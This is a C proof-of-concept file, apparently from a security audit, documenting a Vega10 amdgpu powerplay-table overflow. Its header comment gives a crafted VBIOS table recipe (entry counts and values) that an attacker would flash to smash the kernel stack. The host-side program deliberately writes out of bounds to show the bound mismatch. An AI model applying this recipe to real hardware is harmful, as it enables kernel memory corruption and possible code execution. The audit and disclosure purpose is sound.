DF-3701 / trigger_shape.c
/* * DF-3701 trigger documentation — NOT runnable on the audit guest (virtio-only). * * The "input" for this bug is a crafted ATOM_Vega10_POWERPLAYTABLE inside the dGPU * VBIOS ROM image. This file documents the exact blob shape an attacker flashes * (or serves via a doctored passthrough card) and the two userspace-visible effects. * * Crafted-table recipe (patch offsets inside the Vega10 powerplay table): * ATOM_Vega10_SOCCLK_Dependency_Table.ucNumEntries = 64 (was 8) * each entry: ulClk = 0x0100000 + i*0x10000 (nonzero, 10kHz units), ucVddInd = 0 * likewise optionally ATOM_Vega10_MCLK_Dependency_Table.ucNumEntries = 24 * * On a real Vega10 box this produces, at amdgpu display init: * dm_pp_get_clock_levels_by_type_with_latency (amdgpu_dm_pp_smu.c:375, stack struct) * -> pp_get_clock_by_type_with_latency -> vega10_get_socclocks (vega10_hwmgr.c:4186) * for (i = 0; i < 64; i++) clocks->data[i] = ... // data[16] on the STACK * => 64*8 bytes written into a 132-byte stack object -> frame/return-address smash. * For MCLK (ucNumEntries>8) vega10_get_memclocks additionally heap-overflows * data->mclk_latency_table.entries[8] inside struct vega10_hwmgr (:4151). * * Host-side check (no GPU needed) — compile-time demonstration of the bound mismatch: * the getter loop bound is dep_table->count (uint8, <=255); * the destination is data[PP_MAX_CLOCK_LEVELS=16] (include/dm_pp_interface.h:28). */ #include <stdio.h> #define PP_MAX_CLOCK_LEVELS 16 struct pp_clock_with_latency { unsigned clocks_in_khz, latency_in_us; }; struct pp_clock_levels_with_latency { unsigned num_levels; struct pp_clock_with_latency data[PP_MAX_CLOCK_LEVELS]; }; int main(void) { /* Simulate vega10_get_socclocks with a crafted-table count of 64. */ struct pp_clock_levels_with_latency stack_clocks = {0}; /* what amdgpu_dm puts on its frame */ unsigned dep_count = 64; /* ucNumEntries, uint8, attacker-set */ unsigned i, over = 0; for (i = 0; i < dep_count; i++) { /* vega10_hwmgr.c:4186-4190 verbatim */ if (i >= PP_MAX_CLOCK_LEVELS) over++; stack_clocks.data[i].clocks_in_khz = 0x1000000 + i; /* would already be OOB */ stack_clocks.num_levels++; } printf("simulated writes=%u, OOB-writes-beyond-data[16]=%u -> stack frame smashed\n", dep_count, over); printf("on real Vega10 hw this is a kernel stack overflow at driver/DC init.\n"); printf("(Guest cannot run the real path: virtio-only, 0 AMD PCI devices.)\n"); return 0; } |